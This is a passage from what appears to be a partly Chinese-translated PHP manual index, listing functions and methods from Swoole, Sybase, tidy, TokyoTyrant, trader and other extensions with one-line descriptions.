    • SWFTextField::setMargins - Sets the margins width of the text field
    • SWFTextField::setName - Sets the variable name
    • SWFTextField::setPadding - Sets the padding of this textfield
    • SWFTextField::setRightMargin - Sets the right margin width of the text field
    • SWFTextField::__construct - Creates a text field object
    • SWFVideoStream::getNumFrames - Returns the number of frames in the video
    • SWFVideoStream::setDimension - Sets video dimension
    • SWFVideoStream::__construct - Returns a SWFVideoStream object
    • Swish::getMetaList - Get the list of meta entries for the index
    • Swish::getPropertyList - Get the list of properties for the index
    • Swish::prepare - Prepare a search query
    • Swish::query - Execute a query and return results object
    • Swish::__construct - Construct a Swish object
    • SwishResult::getMetaList - Get a list of meta entries
    • SwishResult::stem - Stems the given word
    • SwishResults::getParsedWords - Get an array of parsed words
    • SwishResults::getRemovedStopwords - Get an array of stopwords removed from the query
    • SwishResults::nextResult - Get the next search result
    • SwishResults::seekResult - Set current seek pointer to the given position
    • SwishSearch::execute - Execute the search and get the results
    • SwishSearch::resetLimit - Reset the search limits
    • SwishSearch::setLimit - Set the search limits
    • SwishSearch::setPhraseDelimiter - Set the phrase delimiter
    • SwishSearch::setSort - Set the sort order
    • SwishSearch::setStructure - Set the structure flag in the search object
    • Swoole\Async::dnsLookup - Async and non-blocking hostname to IP lookup.
    • Swoole\Async::read - Read file stream asynchronously.
    • Swoole\Async::readFile - Read a file asynchronously.
    • Swoole\Async::set - Update the async I/O options.
    • Swoole\Async::write - Write data to a file stream asynchronously.
    • Swoole\Async::writeFile - Description
    • Swoole\Atomic::add - Add a number to the value to the atomic object.
    • Swoole\Atomic::cmpset - Compare and set the value of the atomic object.
    • Swoole\Atomic::get - Get the current value of the atomic object.
    • Swoole\Atomic::set - Set a new value to the atomic object.
    • Swoole\Atomic::sub - Subtract a number to the value of the atomic object.
    • Swoole\Atomic::__construct - Construct a swoole atomic object.
    • Swoole\Buffer::append - Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.
    • Swoole\Buffer::clear - Reset the memory buffer.
    • Swoole\Buffer::expand - Expand the size of memory buffer.
    • Swoole\Buffer::read - Read data from the memory buffer based on offset and length.
    • Swoole\Buffer::recycle - Release the memory to OS which is not used by the memory buffer.
    • Swoole\Buffer::substr - Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.
    • Swoole\Buffer::write - Write data to the memory buffer. The memory allocated for the buffer will not be changed.
    • Swoole\Buffer::__construct - Fixed size memory blocks allocation.
    • Swoole\Buffer::__destruct - Destruct the Swoole memory buffer.
    • Swoole\Buffer::__toString - Get the string value of the memory buffer.
    • Swoole\Channel::pop - Read and pop data from swoole channel.
    • Swoole\Channel::push - Write and push data into Swoole channel.
    • Swoole\Channel::stats - Get stats of swoole channel.
    • Swoole\Channel::__construct - Construct a Swoole Channel
    • Swoole\Channel::__destruct - Destruct a Swoole channel.
    • Swoole\Client::close - Close the connection established.
    • Swoole\Client::connect - Connect to the remote TCP or UDP port.
    • Swoole\Client::getpeername - Get the remote socket name of the connection.
    • Swoole\Client::getsockname - Get the local socket name of the connection.
    • Swoole\Client::isConnected - Check if the connection is established.
    • Swoole\Client::on - Add callback functions triggered by events.
    • Swoole\Client::pause - Pause receiving data.
    • Swoole\Client::pipe - Redirect the data to another file descriptor.
    • Swoole\Client::recv - Receive data from the remote socket.
    • Swoole\Client::resume - Resume receiving data.
    • Swoole\Client::send - Send data to the remote TCP socket.
    • Swoole\Client::sendfile - Send file to the remote TCP socket.
    • Swoole\Client::sendto - Send data to the remote UDP address.
    • Swoole\Client::set - Set the Swoole client parameters before the connection is established.
    • Swoole\Client::sleep - Remove the TCP client from system event loop.
    • Swoole\Client::wakeup - Add the TCP client back into the system event loop.
    • Swoole\Client::__construct - Create Swoole sync or async TCP/UDP client, with or without SSL.
    • Swoole\Client::__destruct - Destruct the Swoole client.
    • Swoole\Connection\Iterator::count - Count connections.
    • Swoole\Connection\Iterator::current - Return current connection entry.
    • Swoole\Connection\Iterator::key - Return key of the current connection.
    • Swoole\Connection\Iterator::next - Move to the next connection.
    • Swoole\Connection\Iterator::offsetExists - Check if offet exists.
    • Swoole\Connection\Iterator::offsetGet - Offset to retrieve.
    • Swoole\Connection\Iterator::offsetSet - Assign a Connection to the specified offset.
    • Swoole\Connection\Iterator::offsetUnset - Unset an offset.
    • Swoole\Connection\Iterator::rewind - Rewinds iterator
    • Swoole\Connection\Iterator::valid - Check if current position is valid.
    • Swoole\Coroutine::call_user_func - Call a callback given by the first parameter
    • Swoole\Coroutine::call_user_func_array - Call a callback with an array of parameters
    • Swoole\Coroutine::cli_wait - Description
    • Swoole\Coroutine::create - Description
    • Swoole\Coroutine::getuid - Description
    • Swoole\Coroutine::resume - Description
    • Swoole\Coroutine::suspend - Description
    • Swoole\Coroutine\Client::close - Description
    • Swoole\Coroutine\Client::connect - Description
    • Swoole\Coroutine\Client::getpeername - Description
    • Swoole\Coroutine\Client::getsockname - Description
    • Swoole\Coroutine\Client::isConnected - Description
    • Swoole\Coroutine\Client::recv - Description
    • Swoole\Coroutine\Client::send - Description
    • Swoole\Coroutine\Client::sendfile - Description
    • Swoole\Coroutine\Client::sendto - Description
    • Swoole\Coroutine\Client::set - Description
    • Swoole\Coroutine\Client::__construct - Description
    • Swoole\Coroutine\Client::__destruct - Description
    • Swoole\Coroutine\Http\Client::addFile - Description
    • Swoole\Coroutine\Http\Client::close - Description
    • Swoole\Coroutine\Http\Client::execute - Description
    • Swoole\Coroutine\Http\Client::get - Description
    • Swoole\Coroutine\Http\Client::getDefer - Description
    • Swoole\Coroutine\Http\Client::isConnected - Description
    • Swoole\Coroutine\Http\Client::post - Description
    • Swoole\Coroutine\Http\Client::recv - Description
    • Swoole\Coroutine\Http\Client::set - Description
    • Swoole\Coroutine\Http\Client::setCookies - Description
    • Swoole\Coroutine\Http\Client::setData - Description
    • Swoole\Coroutine\Http\Client::setDefer - Description
    • Swoole\Coroutine\Http\Client::setHeaders - Description
    • Swoole\Coroutine\Http\Client::setMethod - Description
    • Swoole\Coroutine\Http\Client::__construct - Description
    • Swoole\Coroutine\Http\Client::__destruct - Description
    • Swoole\Coroutine\MySQL::close - Description
    • Swoole\Coroutine\MySQL::connect - Description
    • Swoole\Coroutine\MySQL::getDefer - Description
    • Swoole\Coroutine\MySQL::query - Description
    • Swoole\Coroutine\MySQL::recv - Description
    • Swoole\Coroutine\MySQL::setDefer - Description
    • Swoole\Coroutine\MySQL::__construct - Description
    • Swoole\Coroutine\MySQL::__destruct - Description
    • Swoole\Event::add - Add new callback functions of a socket into the EventLoop.
    • Swoole\Event::defer - Add a callback function to the next event loop.
    • Swoole\Event::del - Remove all event callback functions of a socket.
    • Swoole\Event::exit - Exit the eventloop, only available at client side.
    • Swoole\Event::set - Update the event callback functions of a socket.
    • Swoole\Event::wait - Description
    • Swoole\Event::write - Write data to the socket.
    • Swoole\Http\Client::addFile - Add a file to the post form.
    • Swoole\Http\Client::close - Close the http connection.
    • Swoole\Http\Client::download - Download a file from the remote server.
    • Swoole\Http\Client::execute - Send the HTTP request after setting the parameters.
    • Swoole\Http\Client::get - Send GET http request to the remote server.
    • Swoole\Http\Client::isConnected - Check if the HTTP connection is connected.
    • Swoole\Http\Client::on - Register callback function by event name.
    • Swoole\Http\Client::post - Send POST http request to the remote server.
    • Swoole\Http\Client::push - Push data to websocket client.
    • Swoole\Http\Client::set - Update the HTTP client paramters.
    • Swoole\Http\Client::setCookies - Set the http request cookies.
    • Swoole\Http\Client::setData - Set the HTTP request body data.
    • Swoole\Http\Client::setHeaders - Set the HTTP request headers.
    • Swoole\Http\Client::setMethod - Set the HTTP request method.
    • Swoole\Http\Client::upgrade - Upgrade to websocket protocol.
    • Swoole\Http\Client::__construct - Construct the async HTTP client.
    • Swoole\Http\Client::__destruct - Destruct the HTTP client.
    • Swoole\Http\Request::rawcontent - Get the raw HTTP POST body.
    • Swoole\Http\Request::__destruct - Destruct the HTTP request.
    • Swoole\Http\Response::cookie - Set the cookies of the HTTP response.
    • Swoole\Http\Response::end - Send data for the HTTP request and finish the response.
    • Swoole\Http\Response::gzip - Enable the gzip of response content.
    • Swoole\Http\Response::header - Set the HTTP response headers.
    • Swoole\Http\Response::initHeader - Init the HTTP response header.
    • Swoole\Http\Response::rawcookie - Set the raw cookies to the HTTP response.
    • Swoole\Http\Response::sendfile - Send file through the HTTP response.
    • Swoole\Http\Response::status - Set the status code of the HTTP response.
    • Swoole\Http\Response::write - Append HTTP body content to the HTTP response.
    • Swoole\Http\Response::__destruct - Destruct the HTTP response.
    • Swoole\Http\Server::on - Bind callback function to HTTP server by event name.
    • Swoole\Http\Server::start - Start the swoole http server.
    • Swoole\Lock::lock - Try to acquire the lock. It will block if the lock is not available.
    • Swoole\Lock::lock_read - Lock a read-write lock for reading.
    • Swoole\Lock::trylock - Try to acquire the lock and return straight away even the lock is not available.
    • Swoole\Lock::trylock_read - Try to lock a read-write lock for reading and return straight away even the lock is not available.
    • Swoole\Lock::unlock - Release the lock.
    • Swoole\Lock::__construct - Construct a memory lock.
    • Swoole\Lock::__destruct - Destory a Swoole memory lock.
    • Swoole\Mmap::open - Map a file into memory and return the stream resource which can be used by PHP stream operations.
    • Swoole\MySQL::close - Close the async MySQL connection.
    • Swoole\MySQL::connect - Connect to the remote MySQL server.
    • Swoole\MySQL::getBuffer - Description
    • Swoole\MySQL::on - Register callback function based on event name.
    • Swoole\MySQL::query - Run the SQL query.
    • Swoole\MySQL::__construct - Construct an async MySQL client.
    • Swoole\MySQL::__destruct - Destory the async MySQL client.
    • Swoole\Process::alarm - High precision timer which triggers signal with fixed interval.
    • Swoole\Process::close - Close the pipe to the child process.
    • Swoole\Process::daemon - Change the process to be a daemon process.
    • Swoole\Process::exec - Execute system commands.
    • Swoole\Process::exit - Stop the child processes.
    • Swoole\Process::freeQueue - Destory the message queue created by swoole_process::useQueue.
    • Swoole\Process::kill - Send signal to the child process.
    • Swoole\Process::name - Set name of the process.
    • Swoole\Process::pop - Read and pop data from the message queue.
    • Swoole\Process::push - Write and push data into the message queue.
    • Swoole\Process::read - Read data sending to the process.
    • Swoole\Process::signal - Send signal to the child processes.
    • Swoole\Process::start - Start the process.
    • Swoole\Process::statQueue - Get the stats of the message queue used as the communication method between processes.
    • Swoole\Process::useQueue - Create a message queue as the communication method between the parent process and child processes.
    • Swoole\Process::wait - Wait for the events of child processes.
    • Swoole\Process::write - Write data into the pipe and communicate with the parent process or child processes.
    • Swoole\Process::__construct - Construct a process.
    • Swoole\Process::__destruct - Destory the process.
    • Swoole\Redis\Server::format - Description
    • Swoole\Redis\Server::setHandler - Description
    • Swoole\Redis\Server::start - Description
    • Swoole\Serialize::pack - Serialize the data.
    • Swoole\Serialize::unpack - Unserialize the data.
    • Swoole\Server::addlistener - Add a new listener to the server.
    • Swoole\Server::addProcess - Add a user defined swoole_process to the server.
    • Swoole\Server::after - Trigger a callback function after a period of time.
    • Swoole\Server::bind - Bind the connection to a user defined user ID.
    • Swoole\Server::clearTimer - Stop and destory a timer.
    • Swoole\Server::close - Close a connection to the client.
    • Swoole\Server::confirm - Check status of the connection.
    • Swoole\Server::connection_info - Get the connection info by file description.
    • Swoole\Server::connection_list - Get all of the established connections.
    • Swoole\Server::defer - Delay execution of the callback function at the end of current EventLoop.
    • Swoole\Server::exist - Check if the connection is existed.
    • Swoole\Server::finish - Used in task process for sending result to the worker process when the task is finished.
    • Swoole\Server::getClientInfo - Get the connection info by file description.
    • Swoole\Server::getClientList - Get all of the established connections.
    • Swoole\Server::getLastError - Get the error code of the most recent error.
    • Swoole\Server::heartbeat - Check all the connections on the server.
    • Swoole\Server::listen - Listen on the given IP and port, socket type.
    • Swoole\Server::on - Register a callback function by event name.
    • Swoole\Server::pause - Stop receiving data from the connection.
    • Swoole\Server::protect - Set the connection to be protected mode.
    • Swoole\Server::reload - Restart all the worker process.
    • Swoole\Server::resume - Start receving data from the connection.
    • Swoole\Server::send - Send data to the client.
    • Swoole\Server::sendfile - Send file to the connection.
    • Swoole\Server::sendMessage - Send message to worker processes by ID.
    • Swoole\Server::sendto - Send data to the remote UDP address.
    • Swoole\Server::sendwait - Send data to the remote socket in the blocking way.
    • Swoole\Server::set - Set the runtime settings of the swoole server.
    • Swoole\Server::shutdown - Shutdown the master server process, this function can be called in worker processes.
    • Swoole\Server::start - Start the Swoole server.
    • Swoole\Server::stats - Get the stats of the Swoole server.
    • Swoole\Server::stop - Stop the Swoole server.
    • Swoole\Server::task - Send data to the task worker processes.
    • Swoole\Server::taskwait - Send data to the task worker processes in blocking way.
    • Swoole\Server::taskWaitMulti - Execute multiple tasks concurrently.
    • Swoole\Server::tick - Repeats a given function at every given time-interval.
    • Swoole\Server::__construct - Construct a Swoole server.
    • Swoole\Server\Port::on - Register callback functions by event.
    • Swoole\Server\Port::set - Set protocol of the server port.
    • Swoole\Server\Port::__construct - Construct a server port
    • Swoole\Server\Port::__destruct - Destory server port
    • Swoole\Table::column - Set the data type and size of the columns.
    • Swoole\Table::count - Count the rows in the table, or count all the elements in the table if $mode = 1.
    • Swoole\Table::create - Create the swoole memory table.
    • Swoole\Table::current - Get the current row.
    • Swoole\Table::decr - Decrement the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::del - Delete a row in the Swoole table by $row_key.
    • Swoole\Table::destroy - Destroy the Swoole table.
    • Swoole\Table::exist - Check if a row is existed by $row_key.
    • Swoole\Table::get - Get the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::incr - Increment the value by $row_key and $column_key.
    • Swoole\Table::key - Get the key of current row.
    • Swoole\Table::next - Iterator the next row.
    • Swoole\Table::rewind - Rewind the iterator.
    • Swoole\Table::set - Update a row of the table by $row_key.
    • Swoole\Table::valid - Check current if the current row is valid.
    • Swoole\Table::__construct - Construct a Swoole memory table with fixed size.
    • Swoole\Timer::after - Trigger a callback function after a period of time.
    • Swoole\Timer::clear - Delete a timer by timer ID.
    • Swoole\Timer::exists - Check if a timer is existed.
    • Swoole\Timer::tick - Repeats a given function at every given time-interval.
    • Swoole\WebSocket\Server::exist - Check if the file descriptor exists.
    • Swoole\WebSocket\Server::on - Register event callback function
    • Swoole\WebSocket\Server::pack - Get a pack of binary data to send in a single frame.
    • Swoole\WebSocket\Server::push - Push data to the remote client.
    • Swoole\WebSocket\Server::unpack - Unpack the binary data received from the client.
    • swoole_async_dns_lookup - Async and non-blocking hostname to IP lookup
    • swoole_async_read - Read file stream asynchronously
    • swoole_async_readfile - Read a file asynchronously
    • swoole_async_set - Update the async I/O options
    • swoole_async_write - Write data to a file stream asynchronously
    • swoole_async_writefile - Write data to a file asynchronously
    • swoole_client_select - Get the file description which are ready to read/write or error
    • swoole_cpu_num - Get the number of CPU
    • swoole_errno - Get the error code of the latest system call
    • swoole_event_add - Add new callback functions of a socket into the EventLoop
    • swoole_event_defer - Add callback function to the next event loop
    • swoole_event_del - Remove all event callback functions of a socket
    • swoole_event_exit - Exit the eventloop, only available at the client side
    • swoole_event_set - Update the event callback functions of a socket
    • swoole_event_wait - Start the event loop
    • swoole_event_write - Write data to a socket
    • swoole_get_local_ip - Get the IPv4 IP addresses of each NIC on the machine
    • swoole_last_error - Get the lastest error message
    • swoole_load_module - Load a swoole extension
    • swoole_select - Select the file descriptions which are ready to read/write or error in the eventloop
    • swoole_set_process_name - Set the process name
    • swoole_strerror - Convert the Errno into error messages
    • swoole_timer_after - Trigger a one time callback function in the future
    • swoole_timer_exists - Check if a timer callback function is existed
    • swoole_timer_tick - Trigger a timer tick callback function by time interval
    • swoole_version - Get the version of Swoole
    • sybase_affected_rows - Gets number of affected rows in last query
    • sybase_close - Closes a Sybase connection
    • sybase_connect - Opens a Sybase server connection
    • sybase_data_seek - Moves internal row pointer
    • sybase_deadlock_retry_count - Sets the deadlock retry count
    • sybase_fetch_array - Fetch row as array
    • sybase_fetch_assoc - Fetch a result row as an associative array
    • sybase_fetch_field - Get field information from a result
    • sybase_fetch_object - Fetch a row as an object
    • sybase_fetch_row - Get a result row as an enumerated array
    • sybase_field_seek - Sets field offset
    • sybase_free_result - Frees result memory
    • sybase_get_last_message - Returns the last message from the server
    • sybase_min_client_severity - Sets minimum client severity
    • sybase_min_error_severity - Sets minimum error severity
    • sybase_min_message_severity - Sets minimum message severity
    • sybase_min_server_severity - Sets minimum server severity
    • sybase_num_fields - Gets the number of fields in a result set
    • sybase_num_rows - Get number of rows in a result set
    • sybase_pconnect - Open persistent Sybase connection
    • sybase_query - Sends a Sybase query
    • sybase_result - Get result data
    • sybase_select_db - Selects a Sybase database
    • sybase_set_message_handler - Sets the handler called when a server message is raised
    • sybase_unbuffered_query - Send a Sybase query and do not block
    • symlink - 建立符号连接
    • SyncEvent::fire - Fires/sets the event
    • SyncEvent::reset - Resets a manual event
    • SyncEvent::wait - Waits for the event to be fired/set
    • SyncEvent::__construct - Constructs a new SyncEvent object
    • SyncMutex::lock - Waits for an exclusive lock
    • SyncMutex::unlock - Unlocks the mutex
    • SyncMutex::__construct - Constructs a new SyncMutex object
    • SyncReaderWriter::readlock - Waits for a read lock
    • SyncReaderWriter::readunlock - Releases a read lock
    • SyncReaderWriter::writelock - Waits for an exclusive write lock
    • SyncReaderWriter::writeunlock - Releases a write lock
    • SyncReaderWriter::__construct - Constructs a new SyncReaderWriter object
    • SyncSemaphore::lock - Decreases the count of the semaphore or waits
    • SyncSemaphore::unlock - Increases the count of the semaphore
    • SyncSemaphore::__construct - Constructs a new SyncSemaphore object
    • SyncSharedMemory::first - Check to see if the object is the first instance system-wide of named shared memory
    • SyncSharedMemory::read - Copy data from named shared memory
    • SyncSharedMemory::size - Returns the size of the named shared memory
    • SyncSharedMemory::write - Copy data to named shared memory
    • SyncSharedMemory::__construct - Constructs a new SyncSharedMemory object
    • syslog - Generate a system log message
    • system - 执行外部程序，并且显示输出
    • sys_getloadavg - 获取系统的负载（load average）
    • sys_get_temp_dir - 返回用于临时文件的目录
  • t
    • Table::count - Get row count
    • Table::delete - Delete rows from table
    • Table::existsInDatabase - Check if table exists in database
    • Table::getName - Get table name
    • Table::getSchema - Get table schema
    • Table::getSession - Get table session
    • Table::insert - Insert table rows
    • Table::isView - Check if table is view
    • Table::select - Select rows from table
    • Table::update - Update rows in table
    • Table::__construct - Table constructor
    • TableDelete::bind - Bind delete query parameters
    • TableDelete::execute - Execute delete query
    • TableDelete::limit - Limit deleted rows
    • TableDelete::orderby - Set delete sort criteria
    • TableDelete::where - Set delete search condition
    • TableDelete::__construct - TableDelete constructor
    • TableInsert::execute - Execute insert query
    • TableInsert::values - Add insert row values
    • TableInsert::__construct - TableInsert constructor
    • TableSelect::bind - Bind select query parameters
    • TableSelect::execute - Execute select statement
    • TableSelect::groupBy - Set select grouping criteria
    • TableSelect::having - Set select having condition
    • TableSelect::limit - Limit selected rows
    • TableSelect::lockExclusive - Execute EXCLUSIVE LOCK
    • TableSelect::lockShared - Execute SHARED LOCK
    • TableSelect::offset - Set limit offset
    • TableSelect::orderby - Set select sort criteria
    • TableSelect::where - Set select search condition
    • TableSelect::__construct - TableSelect constructor
    • TableUpdate::bind - Bind update query parameters
    • TableUpdate::execute - Execute update query
    • TableUpdate::limit - Limit update row count
    • TableUpdate::orderby - Set sorting criteria
    • TableUpdate::set - Add field to be updated
    • TableUpdate::where - Set search filter
    • TableUpdate::__construct - TableUpdate constructor
    • taint - Taint a string
    • tan - 正切
    • tanh - 双曲正切
    • tcpwrap_check - Performs a tcpwrap check
    • tempnam - 建立一个具有唯一文件名的文件
    • textdomain - Sets the default domain
    • Thread::detach - 执行
    • Thread::getCreatorId - 识别
    • Thread::getCurrentThread - 识别
    • Thread::getCurrentThreadId - 识别
    • Thread::getThreadId - 识别
    • Thread::globally - 执行
    • Thread::isJoined - 状态监测
    • Thread::isStarted - 状态检测
    • Thread::join - 同步
    • Thread::kill - 执行
    • Thread::start - 执行
    • Threaded::chunk - 操作
    • Threaded::count - 操作
    • Threaded::extend - Runtime Manipulation
    • Threaded::from - Creation
    • Threaded::getTerminationInfo - 错误检测
    • Threaded::isRunning - 状态检测
    • Threaded::isTerminated - 状态检测
    • Threaded::isWaiting - 状态检测
    • Threaded::lock - 同步控制
    • Threaded::merge - 操作
    • Threaded::notify - 同步控制
    • Threaded::notifyOne - Synchronization
    • Threaded::pop - 操作
    • Threaded::run - 执行
    • Threaded::shift - Manipulation
    • Threaded::synchronized - 同步控制
    • Threaded::unlock - 同步控制
    • Threaded::wait - Synchronization
    • tidy::$errorBuffer - Return warnings and errors which occurred parsing the specified document
    • tidy::body - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
    • tidy::cleanRepair - Execute configured cleanup and repair operations on parsed markup
    • tidy::diagnose - Run configured diagnostics on parsed and repaired markup
    • tidy::getConfig - Get current Tidy configuration
    • tidy::getHtmlVer - Get the Detected HTML version for the specified document
    • tidy::getOpt - Returns the value of the specified configuration option for the tidy document
    • tidy::getOptDoc - Returns the documentation for the given option name
    • tidy::getRelease - Get release date (version) for Tidy library
    • tidy::getStatus - Get status of specified document
    • tidy::head - Returns a tidyNode object starting from the <head> tag of the tidy parse tree
    • tidy::html - Returns a tidyNode object starting from the <html> tag of the tidy parse tree
    • tidy::isXhtml - Indicates if the document is a XHTML document
    • tidy::isXml - Indicates if the document is a generic (non HTML/XHTML) XML document
    • tidy::parseFile - Parse markup in file or URI
    • tidy::parseString - Parse a document stored in a string
    • tidy::repairFile - Repair a file and return it as a string
    • tidy::repairString - Repair a string using an optionally provided configuration file
    • tidy::root - Returns a tidyNode object representing the root of the tidy parse tree
    • tidy::__construct - Constructs a new tidy object
    • tidyNode::getParent - Returns the parent node of the current node
    • tidyNode::hasChildren - Checks if a node has children
    • tidyNode::hasSiblings - Checks if a node has siblings
    • tidyNode::isAsp - Checks if this node is ASP
    • tidyNode::isComment - Checks if a node represents a comment
    • tidyNode::isHtml - Checks if a node is part of a HTML document
    • tidyNode::isJste - Checks if this node is JSTE
    • tidyNode::isPhp - Checks if a node is PHP
    • tidyNode::isText - Checks if a node represents text (no markup)
    • tidyNode::__construct - Private constructor to disallow direct instantiation
    • tidy_access_count - Returns the Number of Tidy accessibility warnings encountered for specified document
    • tidy_config_count - Returns the Number of Tidy configuration errors encountered for specified document
    • tidy_error_count - Returns the Number of Tidy errors encountered for specified document
    • tidy_get_output - Return a string representing the parsed tidy markup
    • tidy_warning_count - Returns the Number of Tidy warnings encountered for specified document
    • time - 返回当前的 Unix 时间戳
    • timezone_abbreviations_list - 别名 DateTimeZone::listAbbreviations
    • timezone_identifiers_list - 别名 DateTimeZone::listIdentifiers
    • timezone_location_get - 别名 DateTimeZone::getLocation
    • timezone_name_from_abbr - Returns the timezone name from abbreviation
    • timezone_name_get - 别名 DateTimeZone::getName
    • timezone_offset_get - 别名 DateTimeZone::getOffset
    • timezone_open - 别名 DateTimeZone::__construct
    • timezone_transitions_get - 别名 DateTimeZone::getTransitions
    • timezone_version_get - Gets the version of the timezonedb
    • time_nanosleep - 延缓执行若干秒和纳秒
    • time_sleep_until - 使脚本睡眠到指定的时间为止。
    • tmpfile - 建立一个临时文件
    • token_get_all - 将提供的源码按 PHP 标记进行分割
    • token_name - 获取提供的 PHP 解析器代号的符号名称
    • TokyoTyrant::add - Adds to a numeric key
    • TokyoTyrant::connect - Connect to a database
    • TokyoTyrant::connectUri - Connects to a database
    • TokyoTyrant::copy - Copies the database
    • TokyoTyrant::ext - Execute a remote script
    • TokyoTyrant::fwmKeys - Returns the forward matching keys
    • TokyoTyrant::get - The get purpose
    • TokyoTyrant::getIterator - Get an iterator
    • TokyoTyrant::num - Number of records in the database
    • TokyoTyrant::out - Removes records
    • TokyoTyrant::put - Puts values
    • TokyoTyrant::putCat - Concatenates to a record
    • TokyoTyrant::putKeep - Puts a record
    • TokyoTyrant::putNr - Puts value
    • TokyoTyrant::putShl - Concatenates to a record
    • TokyoTyrant::restore - Restore the database
    • TokyoTyrant::setMaster - Set the replication master
    • TokyoTyrant::size - Returns the size of the value
    • TokyoTyrant::stat - Get statistics
    • TokyoTyrant::sync - Synchronize the database
    • TokyoTyrant::tune - Tunes connection values
    • TokyoTyrant::vanish - Empties the database
    • TokyoTyrant::__construct - Construct a new TokyoTyrant object
    • TokyoTyrantIterator::current - Get the current value
    • TokyoTyrantIterator::key - Returns the current key
    • TokyoTyrantIterator::next - Move to next key
    • TokyoTyrantIterator::rewind - Rewinds the iterator
    • TokyoTyrantIterator::valid - Rewinds the iterator
    • TokyoTyrantIterator::__construct - Construct an iterator
    • TokyoTyrantQuery::addCond - Adds a condition to the query
    • TokyoTyrantQuery::count - Counts records
    • TokyoTyrantQuery::current - Returns the current element
    • TokyoTyrantQuery::hint - Get the hint string of the query
    • TokyoTyrantQuery::key - Returns the current key
    • TokyoTyrantQuery::metaSearch - Retrieve records with multiple queries
    • TokyoTyrantQuery::next - Moves the iterator to next entry
    • TokyoTyrantQuery::out - Removes records based on query
    • TokyoTyrantQuery::rewind - Rewinds the iterator
    • TokyoTyrantQuery::search - Searches records
    • TokyoTyrantQuery::setLimit - Limit results
    • TokyoTyrantQuery::setOrder - Orders results
    • TokyoTyrantQuery::valid - Checks the validity of current item
    • TokyoTyrantQuery::__construct - Construct a new query
    • TokyoTyrantTable::add - Adds a record
    • TokyoTyrantTable::genUid - Generate unique id
    • TokyoTyrantTable::get - Get a row
    • TokyoTyrantTable::getIterator - Get an iterator
    • TokyoTyrantTable::getQuery - Get a query object
    • TokyoTyrantTable::out - Remove records
    • TokyoTyrantTable::put - Store a row
    • TokyoTyrantTable::putCat - Concatenates to a row
    • TokyoTyrantTable::putKeep - Put a new record
    • TokyoTyrantTable::putNr - Puts value
    • TokyoTyrantTable::putShl - Concatenates to a record
    • TokyoTyrantTable::setIndex - Sets index
    • touch - 设定文件的访问和修改时间
    • trader_acos - Vector Trigonometric ACos
    • trader_ad - Chaikin A/D Line
    • trader_add - Vector Arithmetic Add
    • trader_adosc - Chaikin A/D Oscillator
    • trader_adx - Average Directional Movement Index
    • trader_adxr - Average Directional Movement Index Rating
    • trader_apo - Absolute Price Oscillator
    • trader_aroon - Aroon
    • trader_aroonosc - Aroon Oscillator
    • trader_asin - Vector Trigonometric ASin
    • trader_atan - Vector Trigonometric ATan
    • trader_atr - Average True Range
    • trader_avgprice - Average Price
    • trader_bbands - Bollinger Bands
    • trader_beta - Beta
    • trader_bop - Balance Of Power
    • trader_cci - Commodity Channel Index
    • trader_cdl2crows - Two Crows
    • trader_cdl3blackcrows - Three Black Crows
    • trader_cdl3inside - Three Inside Up/Down
    • trader_cdl3linestrike - Three-Line Strike
    • trader_cdl3outside - Three Outside Up/Down
    • trader_cdl3starsinsouth - Three Stars In The South
    • trader_cdl3whitesoldiers - Three Advancing White Soldiers
    • trader_cdlabandonedbaby - Abandoned Baby
    • trader_cdladvanceblock - Advance Block
    • trader_cdlbelthold - Belt-hold
    • trader_cdlbreakaway - Breakaway
    • trader_cdlclosingmarubozu - Closing Marubozu
    • trader_cdlconcealbabyswall - Concealing Baby Swallow
    • trader_cdlcounterattack - Counterattack
    • trader_cdldarkcloudcover - Dark Cloud Cover
    • trader_cdldoji - Doji
    • trader_cdldojistar - Doji Star
    • trader_cdldragonflydoji - Dragonfly Doji
    • trader_cdlengulfing - Engulfing Pattern
    • trader_cdleveningdojistar - Evening Doji Star
    • trader_cdleveningstar - Evening Star
    • trader_cdlgapsidesidewhite - Up/Down-gap side-by-side white lines
    • trader_cdlgravestonedoji - Gravestone Doji
    • trader_cdlhammer - Hammer
    • trader_cdlhangingman - Hanging Man
    • trader_cdlharami - Harami Pattern
    • trader_cdlharamicross - Harami Cross Pattern
    • trader_cdlhighwave - High-Wave Candle
    • trader_cdlhikkake - Hikkake Pattern
    • trader_cdlhikkakemod - Modified Hikkake Pattern
    • trader_cdlhomingpigeon - Homing Pigeon
    • trader_cdlidentical3crows - Identical Three Crows
    • trader_cdlinneck - In-Neck Pattern
    • trader_cdlinvertedhammer - Inverted Hammer
    • trader_cdlkicking - Kicking
    • trader_cdlkickingbylength - Kicking - bull/bear determined by the longer marubozu
    • trader_cdlladderbottom - Ladder Bottom
    • trader_cdllongleggeddoji - Long Legged Doji
    • trader_cdllongline - Long Line Candle
    • trader_cdlmarubozu - Marubozu
    • trader_cdlmatchinglow - Matching Low
    • trader_cdlmathold - Mat Hold
    • trader_cdlmorningdojistar - Morning Doji Star
    • trader_cdlmorningstar - Morning Star
    • trader_cdlonneck - On-Neck Pattern
    • trader_cdlpiercing - Piercing Pattern
    • trader_cdlrickshawman - Rickshaw Man
    • trader_cdlrisefall3methods - Rising/Falling Three Methods
    • trader_cdlseparatinglines - Separating Lines
    • trader_cdlshootingstar - Shooting Star
    • trader_cdlshortline - Short Line Candle
    • trader_cdlspinningtop - Spinning Top
    • trader_cdlstalledpattern - Stalled Pattern
    • trader_cdlsticksandwich - Stick Sandwich
    • trader_cdltakuri - Takuri (Dragonfly Doji with very long lower shadow)
    • trader_cdltasukigap - Tasuki Gap
    • trader_cdlthrusting - Thrusting Pattern
    • trader_cdltristar - Tristar Pattern
    • trader_cdlunique3river - Unique 3 River
    • trader_cdlupsidegap2crows - Upside Gap Two Crows
    • trader_cdlxsidegap3methods - Upside/Downside Gap Three Methods
    • trader_ceil - Vector Ceil
    • trader_cmo - Chande Momentum Oscillator
    • trader_correl - Pearson's Correlation Coefficient (r)
    • trader_cos - Vector Trigonometric Cos
    • trader_cosh - Vector Trigonometric Cosh
    • trader_dema - Double Exponential Moving Average
    • trader_div - Vector Arithmetic Div
    • trader_dx - Directional Movement Index
    • trader_ema - Exponential Moving Average
    • trader_errno - Get error code
    • trader_exp - Vector Arithmetic Exp
    • trader_floor - Vector Floor
    • trader_get_compat - Get compatibility mode
    • trader_get_unstable_period - Get unstable period
